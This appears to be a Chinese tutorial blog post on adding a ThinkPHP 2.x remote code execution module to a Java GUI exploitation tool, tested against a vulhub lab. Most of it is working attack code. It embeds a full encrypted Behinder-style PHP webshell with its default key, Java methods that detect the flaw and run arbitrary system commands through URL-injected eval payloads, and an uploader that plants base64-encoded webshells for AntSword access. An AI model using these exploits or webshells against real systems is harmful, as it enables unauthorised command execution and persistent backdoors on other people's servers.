为了提高大佬们提交PR的积极性,我也是拼了(这样我就可以名正言顺的偷懒了)
0x01 选漏洞,新建文件
比如 ThinkPHP2.x的任意代码执行,使用vulhub搭建漏洞
https://vulhub.org/#/environments/thinkphp/2-rce/
docker-compose up -d 一键搭建
现在还没有ThinkPHP 相关的利用架子,界面显示也没有,只是有个按钮(我特意挑的,从图到exp编写一块教)
1.1 先把界面立起来
在src/main/resources下可以看到存在这么多fxml文件,直接复制一个Struts2.fxml,命名为ThinkPHP.fxml 简答方便(若有大佬对界面不满意,请自个调,我不管了)
然后将Struts2Controller改为ThinkPHPController, 再将85行的test.jsp 改为 test.php
会发现爆红,这是因为还没有ThinkPHP的逻辑控制。到这里再复制一份Struts2Controller.java改为ThinkPHPController.java即可

还有一个,你要在界面有个按钮去控制显示,在src/main/resources/fxml/Main.fxml的43行,现在已经有个ThinkPHP的按钮了,如果没有,复制一行<JFXButton …> ,然后将accessibleText改为你新建的**.fxml一模一样的名字,再将text**改成你想显示的名称
好了,现在界面好了,运行src/main/java/fun/fireline/AppStartUp.java看下吧

新建一个界面简单吧
1.2 新建exp文件
现在exp包下,还没有新建php相关的漏洞(建包主要是为了方便管理,同类型的,放一个包下)

右键新建java文件,php.thinkphp.ThinkPHP2x ,这表示在php包下的thinkphp包下新建ThinkPHP2x.java文件,没有包则创建包(你就说细不细吧)


一个EXP文件首先要实现ExploitInterface接口,看见爆红不要慌

鼠标悬浮上去,点击实现全部方法(我就当大佬们都不会java。怎么可能呢?!)

框架好了,现在填EXP,具体方法作用一看就懂了,在类中再声明两个属性,一个targe、一个isVul

1.3 代码和界面联动
接下来关注刚新建的ThinkPHPController.java文件,修改49行的 BASICINFO 和 STRUTS2 属性为
使用Ctrl + r 健,将 STRUTS2 全部替换为 ThinkPHP
再添加一个属性,默认上传的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public static String SHELL = "<?php\n" + "@error_reporting(0);\n" + "session_start();\n" + " $key=\"e45e329feb5d925b\"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond\n" + "\t$_SESSION['k']=$key;\n" + "\tsession_write_close();\n" + "\t$post=file_get_contents(\"php://input\");\n" + "\tif(!extension_loaded('openssl'))\n" + "\t{\n" + "\t\t$t=\"base64_\".\"decode\";\n" + "\t\t$post=$t($post.\"\");\n" + "\t\t\n" + "\t\tfor($i=0;$i<strlen($post);$i++) {\n" + " \t\t\t $post[$i] = $post[$i]^$key[$i+1&15]; \n" + " \t\t\t}\n" + "\t}\n" + "\telse\n" + "\t{\n" + "\t\t$post=openssl_decrypt($post, \"AES128\", $key);\n" + "\t}\n" + " $arr=explode('|',$post);\n" + " $func=$arr[0];\n" + " $params=$arr[1];\n" + "\tclass C{public function __invoke($p) {eval($p.\"\");}}\n" + " @call_user_func(new C(),$params);\n" + "?>\n";
|
238行也修改 test.jsp 改为 test.php
修改
这个文件修改完毕,不用动了,以后再添加thinkphp相关漏洞,只需要改BASICINFO中的描述信息(不加也可,翻遍看),ThinkPHP 还是要改的,这个是选择漏洞列表中的东西,往后添加就行。
下面去 src/main/java/fun/fireline/tools/Tools.java文件, 找到184行的getExploit方法。
添加一个判断就行,
这就完了,看着图多,其实就几步,主要是为了详细
0x02 写EXP的具体实现
2.1 checkVul - 首先检测漏洞是否存在
Vulhub 也给了payload,方便省事,使用poc打一下,原poc是输出phpinfo,这里改成了输出一串字符
转成java,都是最基础的写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @Override public boolean checkVul(String url) { this.target = url; String check_payload = "/index.php?s=/index/index/name/${@print(md5(123))}"; try { String result = HttpTool.getHttpReuest(this.target + check_payload, "UTF-8"); System.out.println(result); boolean flag = result.contains("202cb962ac59075b964b07152d234b70"); if(flag) { this.isVul = true; } return flag;
} catch (Exception e) { logger.error(e); }
return false; }
|
写完测试一下
运行AppStartUp.java,测试一下

成功,而且可以设置代理,走bp,看具体流量


2.2 getWebPath 获取网站根目录
这个写不写都行,这里写一下吧,thinkphp 可以通过realpath(__ROOT__)来获取网站的根路径,改下payload就好
/index.php?s=/index/index/name/${@print(realpath(__ROOT__))}
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Override public String getWebPath() { String payload = "/index.php?s=/index/index/name/${@print(realpath(__ROOT__))}"; try { String result = HttpTool.getHttpReuest(this.target + payload, "UTF-8"); return result.split("<!DOCTYPE html")[0];
} catch (Exception e) { logger.error(e); } return "命令执行失败"; }
|

2.3 exeCmd 执行命令
这里先将 isVul方法改一下,命令执行依赖于检测,只有检测存在,才能进行命令执行
1 2 3 4
| @Override public boolean isVul() { return this.isVul; }
|
Payload /index.php?s=/index/index/name/${@print(system(whoami))}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Override public String exeCmd(String cmd, String encoding) { String payload = "/index.php?s=/index/index/name/${@print(system(payload))}"; try { payload = payload.replace("payload", cmd); String result = HttpTool.getHttpReuest(this.target + payload, "UTF-8"); return result.split("<!DOCTYPE html")[0];
} catch (Exception e) { logger.error(e); } return "fail"; }
|
测试通过

2.4 uploadFile 上传shell
Payload http://127.0.0.1:8080/index.php?s=/index/index/name/${${@eval($_POST[1])}} 这是网上的payload,上传后使用蚁剑连接即可
虽然,直接使用这个payload也可用,但不方便我们自定义上传的shell马
@bewhale 师傅的 thinkphp利用工具 https://github.com/bewhale/thinkphp_gui_tools 中使用这个payload来上传文件
/index.php?s=/sd/iex/xxx/${@eval($_GET[x])}&x=file_put_contents('bak.php',base64_decode('PD9waHAgJGE9In4rZCgpIl4iIXsre30iO0AkYj1iYXNlNjRfZGVjb2RlKCR7JGF9WyJhIl0pO2V2YWwoIiIuJGIpOz8%2B'));
拿来直接用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @Override public String uploadFile(String fileContent, String filename, String platform) throws Exception { String result = ""; String base64Data = Base64.getEncoder().encodeToString(fileContent.getBytes()); base64Data = URLEncoder.encode(base64Data, "UTF-8" );
String payload = "/index.php?s=/sd/iex/xxx/${@eval($_GET[x])}&x=file_put_contents('" + filename + "',base64_decode('" + base64Data + "'));";
HttpTool.getHttpReuest(this.target + payload, "UTF-8");
int status = HttpTool.getStatus(this.target + "/" + filename);
System.out.println(this.target + "/" + filename); System.out.println(status); if(status == 200) { result = "上传成功! 路径: " + this.target + "/" + filename; } else { result = "上传失败, 请用这个payload,蚁剑连接试一下 /index.php?s=/index/index/name/${${@eval($_POST[1])}}"; }
return result; }
|

打完收工